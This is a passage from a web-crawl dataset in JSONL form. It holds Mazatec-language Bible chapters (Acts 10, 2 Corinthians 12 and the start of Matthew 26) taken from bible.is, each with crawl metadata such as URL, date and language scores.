13","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Luke\/13","date":"2013-12-10T21:48:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164026161\/warc\/CC-MAIN-20131204133346-00073-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000075102,"language_script":"Latn","minhash_cluster_size":18,"top_langs":"{\"maa_Latn_score\": 1.0000075101852417}","num_words":882,"character_repetition_ratio":0.058,"word_repetition_ratio":0.014,"special_characters_ratio":0.24,"stopwords_ratio":0.288,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"1Ya̱ na̱xi̱ndá Cesarea tíjnaá jngo xi̱ta̱ ra 'mì Cornelio, jè ra xi̱ta̱ ítjòn‑la̱ 'tse̱ chíchàn ra jngo sindo̱ ma‑ni, jè ra ya̱ chja̱‑ni ra 'mì Italiano. 2Jè Cornelio, ko̱ nga'tsì xi̱ta̱ ra tjíhijyo ya̱ ni'ya‑la̱, ndaá bexkón ti̱'koa̱á tsakjón‑keé Nainá. 'Ñó nda basìko̱'ta jñà ndí xi̱ta̱ i̱ma̱ ra mì mé tjín‑la̱. Ko̱ kji'tá ni̱chjin bítsa'ba‑la̱ Nainá. 3Jngo ni̱chjin, ijchó‑la tsa las tres nga ngixòn; ngi ndaá kijtse jngo kjoa̱ koni tsa nijñá tí'bì jngo‑la̱ nga 'jaha'sen jngo ìkja̱li̱‑la̱ Nainá ya̱ ni'ya‑la̱ ñánda̱ tíjna; nga kitsò‑la̱: ―¡Cornelio! 4Jè Cornelio, 'kia̱ nga isko'án ìkja̱li̱, tà itsakjón‑la̱, kitsò‑la̱: ―¿Mé‑ni na̱'ìn? Jè ìkja̱li̱ kitsó‑la̱: ―Ijyeé ijchò ka'tá‑la̱ Nainá jè kjoa̱ bitsa'ba‑li ko̱ nga kó'sín nga bisìki̱i jñà xi̱ta̱ i̱ma̱ ra mì mé tjín‑la̱. Nda isasèn‑la̱ Nainá. 5Ti̱kasín xi̱ta̱‑li ján na̱xi̱ndá Jope; nga katafí'ká jè xi̱ta̱ ra 'mì Simón ra ti̱'koa̱ Pedro 'mì‑te. 6Ya̱á tíjna ya̱ ni'ya‑la̱ xi̱ta̱ ra ti̱'koa̱á Simón 'mì, jè ra chrja̱ba̱ cho̱ síxáko̱. Ya̱á kjijna ni'ya‑la̱ ya̱ a̱ndi ndáchikon. 7'Kia̱ nga ijye kijì‑ni ìkja̱li̱‑la̱ Nainá ra tíbáko̱ Cornelio, kiìchja̱ jò‑la̱ chi̱'nda‑la̱ ko̱ jngo chíchàn ra nda bexkón Nainá ra ya̱ síxá'ta‑la̱. 8'Kia̱ nga ijye tsi'kéna̱jmí ijye‑la̱ nga'tsì 'én ra ki'sena̱jmí‑la̱, ya̱á isìkasén ya̱ na̱xi̱ndá Jope. 9'Kia̱ ma nchijòn, ijchó‑la tsa nchisen, jñà xi̱ta̱ kìi̱ ijye i̱nchibijchó chraña ya̱ na̱xi̱ndá Jope. Ti̱jé‑ni hora, jè Pedro, itsjìmíjín ya̱ a̱sòn'nga ni'ya nga kiì kítsa'ba‑la̱ Nainá. 10Jè Pedro, ijyeé 'ñó kjòhojò‑la̱; ijyeé mejèn‑la̱ nga ko̱kje̱n; tanga 'kia̱ nga tísinda‑la̱ tsajmì ra ko̱kje̱n; tsatsíjeén jngo‑la̱ kjoa̱ koni tsa tí'bì jngo‑la̱ nijñá. 11Kijtse‑ní nga ti̱'xájin ngajmi; ko̱ inchrabàjen‑jin jngo nikje ra 'ñó te 'ki ra tjí'ñó nga ijòn nga chrja̱ngi̱‑la̱; ya̱á inchrabàjen skanda ya̱ a̱'ta nangi. 12Jè nikje ra̱kìi̱, ya̱á títsa̱jnaya ijye cho̱ ra tjín i̱ a̱'ta nangi ra ijòn ma ndsa̱ko̱, ko̱ cho̱ ra bífejno ijo‑la̱ ya̱ a̱'ta nangi, ko̱ nga'tsì cho̱ ra tjín‑la̱ na̱jngá ra bima ya̱ a̱jin i̱sén. 13Jè Pedro kií'nchré jngo 'én ra kitsò‑la̱: ―Ji̱ Pedro, ti̱sítji̱in, chjíbí cho̱ kìi̱, ti̱'kin ko̱ chji̱ni̱i. 14'Kia̱á kiìchja̱ jè Pedro kitsò: ―Majìn‑jìn Na̱'ìn; nga̱ ni̱kje sa india taxki̱ kjíne̱ tsajmì ra tjé ko̱ ra xkón tjín a̱'ta 'tse̱ kjo̱téxoma. 15Pedro, india kií'nchré‑ni 'én ra kitsò‑la̱: ―Jè ra Nainá ijye kisìtsje nga ma chine, kì tà chjàn tsajmì tjé 'mì‑la̱. 16Jàn 'ka̱ ko̱'sín kjomà. Ko̱ jè nikjee̱, a̱kjòn tsihijin india‑ni ján ngajmi. 17Jè Pedro, tísíkítsjen‑ní kótsò‑ni jè kjoa̱ ra ko̱'sín kijtse. Ti̱'kia̱á‑ni nga tímakájno‑la̱, nga ijchò kinchajto ya̱ xo̱tjo̱ba̱ ni'ya jñà xi̱ta̱ ra isìkasén jè Cornelio, nga̱ ijyeé iskonangi ñánda̱‑ni ni'ya‑la̱ jè Simón. 18Iskonangi‑ní, a ya̱á tíjna jngo xi̱ta̱ ra 'mì Simón, ra tjí'tasòn 'í‑la̱ nga Pedro 'mì. 19'Kia̱ nga takó tísíkítsjen‑isa jè Pedro jñà kjoa̱ ra kijtse, jè Inìma̱ Tsje‑la̱ Nainá kitsó‑la̱: ―Jàn ma‑ni xi̱ta̱ 'xi̱n tíbátsji‑li. 20Ti̱sítji̱in ko̱ títjo̱ji̱in, kì tà chjàn jò 'bé‑la̱ takìn nga tjahijtaki̱i xi̱ta̱ kìi̱ nga 'a̱án kasikáséen. 21Jè Pedro inchrabàjen‑ní ñánda̱ nga títsa̱jna jñà xi̱ta̱ kìi̱ ra isìkasén Cornelio, kitsó‑la̱: ―'A̱án jnchro jè xi̱ta̱ ra i̱nchifatsji jiòn. ¿Mé xá ra kà'fìi̱‑no? 22Jñà xi̱ta̱ kìi̱ kitsó‑ní: ―Jé isìkasén‑naji̱n jè xi̱ta̱ ra 'mì Cornelio ra xi̱ta̱ ítjòn‑la̱ chíchàn, jngo xi̱ta̱ kixi̱ ra nda bexkón Nainá, jè xi̱ta̱ ra nda 'yaxkón ya̱ nga tíjngo na̱xi̱ndá Israel. Jngo‑ró ìkja̱li̱‑la̱ Nainá ko̱'sín kitsò‑la̱ nga ngaji̱n‑ró ko̱híko̱‑laji̱n ya̱ ni'ya‑la̱ mé‑ni nga kji̱'nchré‑ni jñà 'én‑li. 23Jè Pedro isìkjaha'sen ya̱ ni'ya‑la̱ jñà xi̱ta̱ kìi̱; ya̱á isíkjáyako̱ jngo ni̱tje̱n. Ra kjomà nchijòn kiìko̱‑ní; ti̱'koa̱á tsakáhijtako̱ i'ka xi̱ta̱ xákjién ra a̱'ta 'tse̱ Cristo makjiín‑te‑la̱ ra títsa̱jna ya̱ Jope. 24Ra ma nchijòn, ijchó ya̱ na̱xi̱ndá Cesarea; ijyeé tíkoñá jè Cornelio; tsikíxkóya i'ka xi̱ta̱ xákjién ko̱ jñà xi̱ta̱ ra nda báko̱. 25'Kia̱ nga ijye ijchò jè Pedro, itjoó ni'ya jè Cornelio nga isíkjáya‑la̱; tsasèn-xkó'nchi'ta‑la̱ nga kijtsexkón. 26Tanga jè Pedro isìkasítje̱én‑ni, kitsò‑la̱: ―Ti̱sítji̱in, 'a̱n, ti̱'koa̱á ta xi̱ta̱á‑te koni ngaji̱. 27'Kia̱ nga tíbáko̱ Cornelio jè Pedro 'jaha'sen ya̱ ni'ya, ko̱ kijtse‑ní nga 'ñó kjín ma‑ni xi̱ta̱ ra ya̱ kjóxkóya. 28Pedro kitsó‑la̱: ―Jiòn, 'ya‑nó nga jñà xi̱ta̱ judío mì kì tjí'nde‑la̱ nga jñà xi̱ta̱ ra xìn i̱'nde‑la̱ si̱íngásòn‑ko̱, ko̱ mì kì ma ya̱ kjoa̱ha'sen ya̱ ni'ya‑la̱ ra mì tsa xi̱ta̱ judío. Tanga Nainá ijyeé ko̱'sín tsi'kéna̱jmíya‑na nga ni̱jngo xi̱ta̱ ma ko̱xín‑la̱ nga mì mé chjí‑la̱ ko̱ nga tjé kjòn ya̱ ngixko̱n Nainá. 29'Koa̱á ma‑ni 'kia̱ nga ijchò nakjoá‑na, mì tsa isítája jiàa̱n; ta ndi̱to̱ón inchrabà. Ko̱ jè ra kjonangiaa̱ 'ndi̱ 'ndi̱, ¿mé xá ra inakjoá‑ná? 30Jè Cornelio kitsó‑ní: ―Ijyeé fì ijòn ni̱chjin, ko̱ ti̱jéa‑ni koni jè hora ra̱kìi̱ nga ijchò‑la tsa las tres nga ngixòn, 'kia̱ nga tíchjà'ta‑la̱ Nainá i̱ ni'ya‑na̱, tà ndi̱to̱ón tsatsíjen jngo xi̱ta̱ ra tsasijna ya̱ ngixkoàa̱n ra 'ñó fate 'ki nikje‑la̱. 31Kitsò‑na: \"Cornelio, jè kjoa̱ bitsa'ba‑li ijyeé ina'yá‑la̱ ko̱ ijyeé ki'ya‑la̱ ya̱ ngixko̱n Nainá koni 'sín nga bisìki̱i jñà ndí xi̱ta̱ i̱ma̱ ra mì mé tjín‑la̱. 32Kií ko̱'sín tíxin‑la nga ti̱kasín xi̱ta̱‑li ján na̱xi̱ndá Jope nga katafí'ká jè xi̱ta̱ ra 'mì Simón ra ti̱'koa̱ Pedro 'mì‑te. Ya̱á tíjna‑ni ya̱ ni'ya‑la̱ xi̱ta̱ ra tíjna ya̱ a̱ndi ndáchikon ra ti̱'koa̱á Simón 'mì, jè ra síxáko̱ chrja̱ba̱ cho̱.\" 33'Koa̱á 'sín kjomà‑ni nga ndi̱to̱ón ísikásén jñà xi̱ta̱‑na̱ nga í'ká‑li. Ko̱ 'ñó nda kà'nià‑ni nga kanchrabí. Nga'tsì‑naji̱n i̱í titsa̱jna‑ji̱n ya̱ ngixko̱n Nainá mé‑ni nga ki̱ná'ya ijye‑ji̱n mé kjo̱hixi̱ ra kitsjà‑li Nainá nga 'kéna̱jmí‑náji̱n. 34Pedro tsikí'tsia̱ nga kiìchja̱, kitsò: ―Kixi̱í kjoa̱, 'ndi̱ 'ndi̱ tíbe‑ná nga jè Nainá, ta ngásòn ngáya tsjake nga'tsì xi̱ta̱. 35Kjábétjó‑ní nga'tsì xi̱ta̱ ra bexkón Nainá ko̱ ra ngi kjo̱hixi̱ 'sín, ni̱'sín ta̱ ñánda̱ i̱'nde‑la̱. 36Nainá kisìkasén 'én xi̱tse̱‑la̱ ya̱ na̱xi̱ndá Israel nga ki'sena̱jmí‑la̱ 'én nda‑la̱, nga a̱'ta 'tse̱ Cristo 'nchán ki̱tsa̱jneé ko̱ Nainá. Nga̱ jé Jesucristo ra batéxoma‑la̱ nga'tsì xi̱ta̱ ra tjín i̱ i̱sà'nde. 37Jiòn, nda tjíjin‑no koni 'sín kjomà kóho'ki nangi‑la̱ xi̱ta̱ judío, kjo'tsia̱‑ni ya̱ i̱'nde Galilea 'kia̱ nga ijye tsi'kéna̱jmíya jè Juan a̱'ta 'tse̱ kjoa̱ ra satíndé. 38Nga jè Jesús ra ya̱ Nazaret i̱'nde‑la̱, 'kia̱ nga jè Nainá jahájin nga kitsjà xá‑la̱ ngi nda kisijin ya̱ inìma̱‑la̱ jè nga'ñó‑la̱ Nainá ko̱ Inìma̱ Tsje‑la̱. 'Kia̱ nga tsajme Jesús ndaá tjín kjo̱nda ra ki'sìn; isindaá‑ni nga'tsì xi̱ta̱ ra kjo̱hi'in i̱nchisíkjiín a̱'ta 'tse̱ xi̱ta̱‑ni̱í. Kií ko̱'sín ki'sìn‑ni nga̱ jè Nainá ya̱á tíjnako̱. 39Ji̱n, nda kjón kijcha‑ji̱n nga'tsì kjoa̱ ra ki'sìn Jesús ya̱ nangi‑la̱ xi̱ta̱ judío ko̱ ya̱ Jerusalén, ra kjomà a̱skan a̱kjòn isì'ken xi̱ta̱ nga tsikítja̱'bá'ta ya̱ krò 40tanga Nainá isikjaáya‑ila̱ nga ijchò jàn ni̱chjin, ko̱ 'koa̱á 'sín ki'sìn nga ma kijcha india‑ila̱. 41Mì tsa nga'tsì xi̱ta̱ na̱xi̱ndá kijtse; ta ji̱n‑náji̱n ra xá ko̱'sín ti̱ngi itjahájin‑naji̱n nga ma 'kéna̱jmí‑ji̱n ra a̱'ta 'tse̱, ji̱n ra tsichiko̱‑ji̱n ti̱'koa̱ ki'yòko̱‑ji̱n 'kia̱ nga ijye jaáya‑ila̱. 42Ko̱ 'koa̱á 'sín tsikí'tin‑naji̱n nga 'kéna̱jmí kixi̱‑la̱ji̱n xi̱ta̱ na̱xi̱ndá ko̱ nga ko̱'kín‑la̱ji̱n nga jé Jesús isíkíjna Nainá koni xi̱ta̱xá ítjòn ra ki̱ìndajín kjoa̱‑la̱ xi̱ta̱ ra títsa̱jnakon ko̱ ra ijye 'ken. 43Nga'tsì xi̱ta̱ ra kiìchja̱ ngajo‑la̱ Nainá kjotseé, 'koa̱á 'sín kitsjà 'én‑la̱ 'kia̱ nga kiìchja̱ ra a̱'ta 'tse̱ Jesús nga kitsò: \"Nga'tsì xi̱ta̱ ra ko̱kjiín‑la̱ a̱'ta 'tse̱, si̱hijcha'tá‑la̱ jé‑la̱ ta nga̱tjì‑la̱ koni 'sín nga ko̱ma'tin ra jè.\" 44Takó ti̱'kia̱á‑ni nga tíchja̱‑isa Pedro jñà 'én kìi̱, nga'tsì xi̱ta̱ ra i̱nchi'nchré, ta ndi̱to̱ón itjojen‑nè jè Inìma̱ Tsje‑la̱ Nainá. 45Jñà xi̱ta̱ judío ra tje̱n‑ko̱ Pedro [ra ti̱'koa̱ ijye makjiín‑la̱ a̱'ta 'tse̱ Cristo], tà 'koa̱á kjomà‑la̱ 'kia̱ nga kijtse nga jñà ra taxki̱ xi̱ta̱ ra mì tsa xi̱ta̱ judío, ti̱'koa̱á 'ñó nda itjojen‑nè‑te jè Inìma̱ Tsje‑la̱ Nainá. 46Nga̱ kií'nchré‑la̱ nga kiìchja̱ ra kj'ií 'én, ti̱'koa̱ kiìchja̱'ta‑la̱ Nainá nga 'ñó jeya kisíkíjna. 47'Kia̱á kitsò Pedro: ―Mí‑la kì ma yá ra ki̱tso̱: \"Mì kì ma sa̱tíndá xi̱ta̱ kìi̱.\" Nga̱ ijyeé itjábé‑la̱ Inìma̱ Tsje‑la̱ Nainá koni 'sín ijye itjábé‑ná ra jién. 48Jè Pedro kitsjá kjo̱hixi̱ nga isatíndá a̱'ta 'tse̱ Jesús ra tíjna ítjòn‑ná. A̱kjòn jñà xi̱ta̱ kìi̱, tsikítsa'ba‑la̱ jè Pedro nga katijnako̱ chiba ni̱chjin‑isa.\nHechos 10","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Acts\/10","date":"2013-12-10T22:47:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164026971\/warc\/CC-MAIN-20131204133346-00016-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000083447,"language_script":"Latn","minhash_cluster_size":19,"top_langs":"{\"maa_Latn_score\": 1.0000083446502686}","num_words":1234,"character_repetition_ratio":0.07,"word_repetition_ratio":0.013,"special_characters_ratio":0.234,"stopwords_ratio":0.343,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"1Kixi̱í kjoa̱ ni̱mé chjí‑la̱ tsa nda síkíjna ijo‑na̱, tanga machjeén‑ní nga 'kenájmí‑najiòn kjoa̱ ra tísíchi̱ya‑na Nainá ko̱ kó'sín tjín kjoa̱ ra jè tsakón tsijen‑na. 2Bexkoón jngo ra xi̱ta̱‑la̱ Cristo. Fí‑la tsa te ijòn nó nga itjamítje̱n nga kijì skanda ñánda̱ nga tíjna ra ma‑ni ján ngajmi. Mì kì be, a 'koa̱á 'sín kijì ko̱ ijo‑la̱ o̱ ra ta jé inìma̱‑la̱ kijì; tanga jè Nainá ra nda be. 3‑ 4Tanga beé‑ná nga jè xi̱ta̱ ra̱kìi̱, ya̱á kijì ngajmi, ya̱ i̱'nde ñánda̱ nga 'ñó nda chon. Mì kì be, a 'koa̱á 'sín kijì ko̱ ijo‑la̱ o̱ ra ta jé inìma̱‑la̱ ra kijì; tanga jè Nainá ra nda be. Ko̱ ya̱á kií'nchré 'én ra 'ñó 'ma tjín, ra mì kì tjí'nde‑la̱ nga ni̱jngo xi̱ta̱ ko̱ma ki̱chja̱. 5Maá‑la nda sìkíjnaa̱ koni 'sín kjomà'tin xi̱ta̱ ra̱kìi̱. Tanga mì kì ma ti̱'a̱n nda síkíjna‑na ijo‑na̱. Ta jè nda síkíjna‑na ijo‑na̱ a̱'ta 'tse̱ kjoa̱ ra mahinda‑ni takoàa̱n. 6Tanga tsa nda síkíjna ijo‑na̱ koni 'sín kjomà'tiaa̱n, mí‑la tsa tsò‑ni kjoa̱ nga ská‑na, 'én kixi̱í‑la ra kichjàa̱; tanga majìn‑na nga ko̱'sín 'siaa̱n, mé‑ni nga mì yá ra ko̱'sín ta jè kjoa̱ ra tsa̱'a̱n isa̱ nda si̱íkítsjen‑ni, koni 'sín nga 'ki kjòn‑na ko̱ koni 'sín tsò 'én ra chjàa̱. 7Mé‑ni nga mì 'a̱n nda kóti̱jna‑na nga'tsì kjoa̱jeya ra tsakón tsijen‑na Nainá, 'koa̱á ma‑ni nga jngo kjo̱hi'in tsi'kì‑na ra 'koa̱á jngoya‑la̱ koni tsa na'yá i̱nchajin ijo‑na̱, ra jè xi̱ta̱‑ni̱í isìkasén mé‑ni nga ske̱ton‑na. 8Kjo jàn 'ka̱ bitsá'ba‑la̱ jè Na̱'ín‑ná nga katjahíxìn‑na jè kjo̱hi'in ra̱kìi̱; 9tanga ta ki̱í 'sín kitsò‑na: \"Jè kjo̱nda‑na̱ ra ijye kítsja‑la, jè ko̱si̱ko̱'ta‑li, nga̱ mì mé jchi̱ja'ta‑li nga'ñó‑na̱ 'kia̱ nga mahinda takìn.\" 'Koa̱á ma‑ni, jè kjoa̱ ra mahinda‑la̱ takoàa̱n, jé ra nda síkíjna‑na ijo‑na̱, mé‑ni nga jè nga'ñó‑la̱ Cristo ya̱á kíjnako̱ ki'ta‑na. 10'Koa̱á ma‑ni, 'ñó matsja‑na 'kia̱ nga mahinda takoàa̱n, ko̱ 'kia̱ nga yá ra chja̱jno‑na, 'kia̱ nga mé ra tíchija'ta‑na, ko̱ 'kia̱ nga yá ra mahatji̱ngi‑na, 'kia̱ mé kjoa̱ ra chjá ma‑na, matsjaá‑na nga a̱'ta 'tse̱ Cristo sikjiáa̱n kjo̱hi'in. Nga̱ ki, 'kia̱ nga mahinda takoàa̱n, 'kia̱á jnchro nga isa̱ 'ñó tjín‑la̱ nga'ñó inìma̱‑na̱. 11'Koa̱á 'sín tí'siaa̱n koni tsa ská‑na, tanga jión kjo̱'ñó ki'niá‑nájiòn nga ko̱'sín kí'siaa̱n. Jión kjón‑najiòn ra tjínè‑la̱ nga nda ki̱náchrjengi‑nájiòn tsa nda kjòn‑ni, nga̱ mì tsa isa̱ nangi tíjna̱‑la̱ 'a̱n jñà xi̱ta̱ ra ko̱'sín 'yaxkón jiòn nga jñá títsa̱jna ítjòn‑la̱ xi̱ta̱ ra tsikíxáya‑la̱ Cristo; kja̱ ni̱'sín nìmé chjí‑na ra 'a̱n. 12'Kia̱ nga ya̱ tsakáti̱jnajin‑no, kichíkjoa̱ko̱ó‑na nga kítsakon‑no kjo̱xkón ra bakón nga ngi 'a̱n kiti‑ná ra tsikíxáya‑na Cristo; nga kítsakon‑no kjo̱xkón ra bíya chi̱ya, kjo̱xkón ra bakón kjoa̱jeya‑la̱ Nainá ko̱ ra tse nga'ñó tji̱ko̱. 13¿Mé ra isa̱ nangi isíkíjna‑najiòn koni jñà na̱xi̱ndá‑la̱ Cristo ra i'ka? ¿O̱ ra 'choó ma‑no nga ni̱mé ra isíjé‑no? Ti̱jchaà'tá‑ná tsa'koa̱ tsa ko̱'sín kí'siaa̱n. 14Ijyeé tíjnanda‑náa̱ nga íjkon‑no ra ma‑ni jàn 'ka̱. Ko̱ takó mì tsa jiòn sijtí‑no mé ra chija'ta‑na. Mì tsa ki batsjía̱ mé ra tjín‑najiòn; jión‑nájiòn ra tíbatsjí‑no. Nga̱ mì tsa jñà ra i̱xti tjínè‑la̱ ki̱itjò to̱n ra machjeén‑la̱ na̱'ìn‑la̱; jè na̱'ìn ra tjínè‑la̱ nga ki̱itjò to̱n ra ko̱chjeén‑la̱ i̱xti‑la̱. 15'A̱n skanda ngi ko̱ó kjo̱tsja‑na̱ nga sikjéheya to̱n ra tsa̱'a̱n, ko̱ skanda sikjé‑te nga'ñó ra 'tse̱ inìma̱‑na̱, ta nga̱tjì‑la̱ nga 'ñó tsjake̱‑najiòn. Koni 'sín 'ñó tsjake̱‑najiòn, ¿a ta isa̱á jnchro chiba ko̱tsjacha‑nájiòn? 16Ni̱'sín ta kó'sín‑isa, 'a̱n mì tsa mé ra jiòn ísijtí‑no. Kja̱ ni̱'sín tjín i'ka xi̱ta̱ ra tsò, nga ta maña̱‑ró ra 'a̱n nga ískonda̱cha̱‑najiòn. 17¿Mé ra ískonda̱cha̱‑najiòn 'kia̱ nga ísikásén i'ka‑no xi̱ta̱? 18Jè Tito ítsikitsá'ba‑la̱ nga ísikásén‑no ko̱ jè 'ndsé ra ìjngo. ¿A ta iskonda̱cha̱á‑no Tito? ¿A mí tsa ngásòn tjín kjo̱bítsjen‑na̱ji̱n ko̱ inìma̱‑na̱ji̱n? 19¿A 'koa̱á 'sín i̱nchiníkítsjen ki'ta jiòn nga jé ijo‑na̱ji̱n i̱nchinakjoátjì‑ji̱n? Tanga mì tsa ko̱'sín tjín‑jìn. Ji̱n ra chi̱'nda‑la̱ Cristo, ngixko̱n Nainá‑ní koni 'sín nga i̱nchinakjoá‑ji̱n. Jiòn 'ndsé ra 'ñó tsjake̱‑no, nga'tsì kjoa̱ ra i̱nchi'nià‑ji̱n, jè ra mejèn‑naji̱n nga katatjo nga'ñó‑isa jiòn. 20Makájno‑na tsa mì ko̱'sín titsa̱jna jiòn 'kia̱ nga kijchòjkon‑no koni 'sín nga mejèn‑na ra 'a̱n. Ko̱ tsa mì ko̱'sín 'siaa̱n ra 'a̱n 'kia̱ nga kijchòo̱ koni 'sín nga i̱nchichiñá jiòn. 'Kia̱ kijchòo̱, tsa i̱nchibixkàn-kjoó‑nájiòn, ko̱ tsa kjoa̱xìtakòn tjín‑jin inìma̱‑no, ko̱ tsa kjo̱jti tjíjin ya̱ inìma̱‑najiòn, tsa jò jàn ya tjín jiòn, ko̱ tsa 'én ndiso i̱nchiniya‑la xàngio̱o, tsa xàngio̱o i̱nchichibaya‑no, tsa kjoa̱ 'nga takòn tjín‑no, ko̱ tsa mì nda titsa̱jna‑la̱ xàngio̱o nga jngó jngó‑no. 21Ti̱'koa̱á makájno‑na tsa 'kia̱ nga kijchòjkon india‑najiòn, tsa jè Nainá 'ñó nangi si̱ìkíjna‑na ya̱ ngixko̱n jiòn. Ko̱ tsa ya̱ skindaya̱tjìa̱ jñà xi̱ta̱ ra takó ko̱'sín i̱nchibátsji‑jé ki'ta koni kjotseé nga kjè kì síkájno‑ni nga'tsì kjoa̱tjé ra i̱nchi'sín, ko̱ kjoa̱chijngi‑la̱, ko̱ kjoa̱ chi̱nga̱ ra i̱nchi'sín ko̱ nga'tsì kjoa̱'cho ra mì kì nda tjín.\n2 Corintios 12","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/2Cor\/12","date":"2013-12-13T07:53:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164919525\/warc\/CC-MAIN-20131204134839-00011-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000081062,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 1.0000081062316895}","num_words":745,"character_repetition_ratio":0.052,"word_repetition_ratio":0.014,"special_characters_ratio":0.241,"stopwords_ratio":0.299,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"1Jesús k'e̱ nga jye kiìchja̱ yije 'én koi kitsò‑la̱ xi̱ta̱ xi kota'yàt'aà‑la̱: 2―Jñò, jye tíjiìn‑nò nga tà jò na̱chrjein chija ts'e̱ s'eí Paxko̱; 'a̱n xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱, ya̱á ko̱nga̱tsja i̱t'aà ts'e̱ xi̱ta̱ na̱xa̱ndá nga ko̱òt'aà‑na krò. 3Na̱chrjein koi jñà xi̱ta̱ sko̱‑la̱ no̱'miì, xi̱ta̱ xi okóya kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés ko̱ xi̱ta̱ jchínga‑la̱ jñà xi̱ta̱ judío, ya̱á chixoña ya̱ ndi̱tsin ni'ya‑la̱ Caifás xi no̱'miì ítjòn. 4Ya̱á tsajoóya‑ne kós'ín tsobà'ñó Jesús xi kjoa̱ chijé, i̱kjoàn si̱ìk'en. 5Kitsò‑la̱ xíkjín: ―Mì na̱chrjein‑la̱ s'eí si̱k'eén nga mì ko̱ts'e̱n jñà xi̱ta̱ na̱xa̱ndá. 6Jesús, k'e̱ nga tíjna ján na̱xa̱ndá Betania, ya̱ ni'ya‑la̱ jngoò xi̱ta̱ xi tsindojno chrjoa̱ yijo‑la̱ nga sa̱ ítjòn xi 'mì Simón, 7ijchò jngoò chjo̱ón xi 'ya jngoò lamìta̱ nda̱jo̱ xi 'mì alabastro xi tjíya‑la̱ xkiì jne̱, xi 'ñó chjí‑la̱. K'e̱ nga tíjnat'aà ími̱xa̱ Jesús, chjo̱ón jè, tsibíxteèn‑sòn sko̱ jè xkiì jne̱. 8Jñà xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús k'e̱ nga kijtseè, kòjti‑la̱, kitsò: ―¿Mé‑ne nga kasíkits'ón‑ne jè xkiì jne̱? 9Tsà kàsatíjna, 'ñó‑là tse chjí‑la̱ koa̱ jè to̱n‑la̱ ko̱maá ko̱chját'aà‑la̱ xi̱ta̱ i̱ma̱. 10Kiì'nchré Jesús. K'e̱é kitsò‑la̱: ―¿Mé‑ne nìjti‑là chjo̱ón jè? Koni s'ín kasìko̱‑na ndaà kàs'ín. 11Jñà xi̱ta̱ i̱ma̱ kítsa̱jnako̱ kjit'aà‑nò; ta̱nga 'a̱n mì i̱ tìjna̱ko̱ kjit'aà‑nò. 12Koni s'ín kasìko̱‑na chjo̱ón jè, nga kàbíxteèn‑jno xkiì jne̱ yijo‑na̱, koií o̱kàs'ín‑ne nga síkíjnandaà‑na nga si̱ìjñaà. 13O̱kixi̱í xi xan‑nò, ni̱ta̱ ñánda‑ne nga tíjtsa i̱sò'nde nga ko̱bísòn 'én ndaà‑la̱ Nainá, ti̱koa̱á ko̱bísòn‑nè koni s'ín kasìko̱‑na mé‑ne nga si̱ìkítsjeèn‑ne xi̱ta̱ i̱t'aà ts'e̱ chjo̱ón jè. 14Jè xi 'mì Judas Iscariote xi ya̱ itjojiìn ts'e̱ xi̱ta̱ xi tejò ma‑ne xi̱ta̱‑la̱ Jesús, kiìkon jñà xi̱ta̱ sko̱‑la̱ no̱'miì, 15kitsò‑la̱: ―¿Kó tjín to̱n k'oi̱‑ná nga sìnga̱tsja‑nò Jesús? Jñà xi̱ta̱ sko̱‑la̱ no̱'miì, katé ixo̱ to̱n chroba tsibíndaàjiìn‑ne. 16Judas, k'e̱é tsibíts'ia̱ nga tsohótsji'nde‑la̱ kós'ín si̱ìnga̱tsja Jesús. 17Jè na̱chrjein xi mats'ia̱ ítjòn ts'e̱ s'eí k'e̱ nga kjèn i̱nchra̱jín xi tsjìn‑la̱ na̱'yo̱ san jñà xi̱ta̱ judío, jñà xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús ijchòkon, kiskònangui‑la̱, kitsò‑la̱: ―¿Ñánda mejèn‑lè nga onguí kíndaà‑je̱n tsojmì xi chji̱ne̱é ts'e̱ s'eí Paxko̱? 18Jesús kitsò‑la̱: ―Tanguíchòn ni'ya‑la̱ jngoò xi̱ta̱ ya̱ i̱jiìn na̱xa̱ndá. Ko̱t'ìn‑là: \"Jè maestro k'oa̱á tsò: Jyeé tíma chrañà na̱chrjein‑na̱ nga ki̱yá. Ya̱á ni'ya‑lè kjián kachrje s'eí Paxko̱ ko̱ xi̱ta̱ xi kota'yàt'aà‑na.\" 19Jñà xi̱ta̱ xi kota'yàt'aà‑la̱, k'oa̱á s'ín kis'iìn koni s'ín kitsò‑la̱ Jesús. Ya̱á tsibíndaà tsojmì xi ko̱kje̱n kjoa̱ ts'e̱ s'eí Paxko̱. 20K'e̱ nga jye kòjñò, Jesús, tsibíjnat'aà ími̱xa̱ ko̱ xi̱ta̱‑la̱ xi tejò ma‑ne. 21K'e̱ nga nchikjèn, Jesús kitsò‑la̱: ―O̱kixi̱í xi xan‑nò, jñò, i̱ tíjnajiìn jngoò‑nò xi si̱ìnga̱tsja‑na̱ i̱t'aà ts'e̱ xi̱ta̱ kondra̱‑na̱. 22Jñà xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús 'ñó kjòba‑la̱ k'e̱ nga o̱kitsò. K'e̱é jngó jngó kiskònangui‑la̱, kitsò‑la̱: ―Na̱'èn, ¿a 'a̱n‑ná? 23Jesús kitsò‑la̱: ―Jè xi kóngájiìn‑ko̱‑na chro̱ba̱, jé xi si̱ìnga̱tsja‑na. 